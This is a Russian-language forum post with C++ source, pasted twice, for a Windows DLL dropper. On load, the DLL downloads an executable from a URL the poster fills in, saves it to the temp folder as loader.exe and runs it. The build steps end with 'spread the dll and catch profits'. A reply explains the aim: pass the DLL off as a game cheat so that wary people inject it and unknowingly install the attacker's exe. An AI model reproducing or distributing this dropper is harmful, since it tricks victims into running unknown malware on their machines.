Код для VS C++ dll loader #include "pch.h" #include <iostream> #include <fstream> #include <string> #include <Windows.h> #include <urlmon.h> #include <Shellapi.h> #pragma comment(lib, "urlmon.lib") bool DownloadFile(const std::wstring& url, const std::wstring& filePath) { HRESULT hr = URLDownloadToFileW(NULL, url.c_str(), filePath.c_str(), 0, NULL); if (SUCCEEDED(hr)) { return true; } } bool OpenFile(const std::wstring& filePath) { HINSTANCE result = ShellExecuteW(NULL, L"open", filePath.c_str(), NULL, NULL, SW_SHOWNORMAL); if ((INT_PTR)result > 32) { return true; } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { CreateThread(NULL, 0, [](LPVOID lpParameter) -> DWORD { const std::wstring url = L"СЮДА ВАША ССЫЛКА, ПРОЕКТ СОБИРАТЬ В Release"; wchar_t tempPath[MAX_PATH]; GetTempPathW(MAX_PATH, tempPath); std::wstring filePath = std::wstring(tempPath) + L"loader.exe"; if (DownloadFile(url, filePath)) { OpenFile(filePath); } return 0; }, NULL, 0, NULL); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } C #include "pch.h" #include <iostream> #include <fstream> #include <string> #include <Windows.h> #include <urlmon.h> #include <Shellapi.h> #pragma comment(lib, "urlmon.lib") bool DownloadFile(const std::wstring& url, const std::wstring& filePath) { HRESULT hr = URLDownloadToFileW(NULL, url.c_str(), filePath.c_str(), 0, NULL); if (SUCCEEDED(hr)) { return true; } } bool OpenFile(const std::wstring& filePath) { HINSTANCE result = ShellExecuteW(NULL, L"open", filePath.c_str(), NULL, NULL, SW_SHOWNORMAL); if ((INT_PTR)result > 32) { return true; } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { CreateThread(NULL, 0, [](LPVOID lpParameter) -> DWORD { const std::wstring url = L"СЮДА ВАША ССЫЛКА, ПРОЕКТ СОБИРАТЬ В Release"; wchar_t tempPath[MAX_PATH]; GetTempPathW(MAX_PATH, tempPath); std::wstring filePath = std::wstring(tempPath) + L"loader.exe"; if (DownloadFile(url, filePath)) { OpenFile(filePath); } return 0; }, NULL, 0, NULL); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 1- Скачиваем Visual Studio и устанавливаем компоненты C++ 2- Создаем проект DLL и вставляем код выше 3- указываем ссылку на прямую загрузку билда.exe и собираем проект в Release 4- Проливаем dll и ловим профиты
Echo413, Допустим кто то у тебя попросит чит, а exe все боятся запускать. А так они заинжектят dll через любой инжектор и установят ваш .exe файл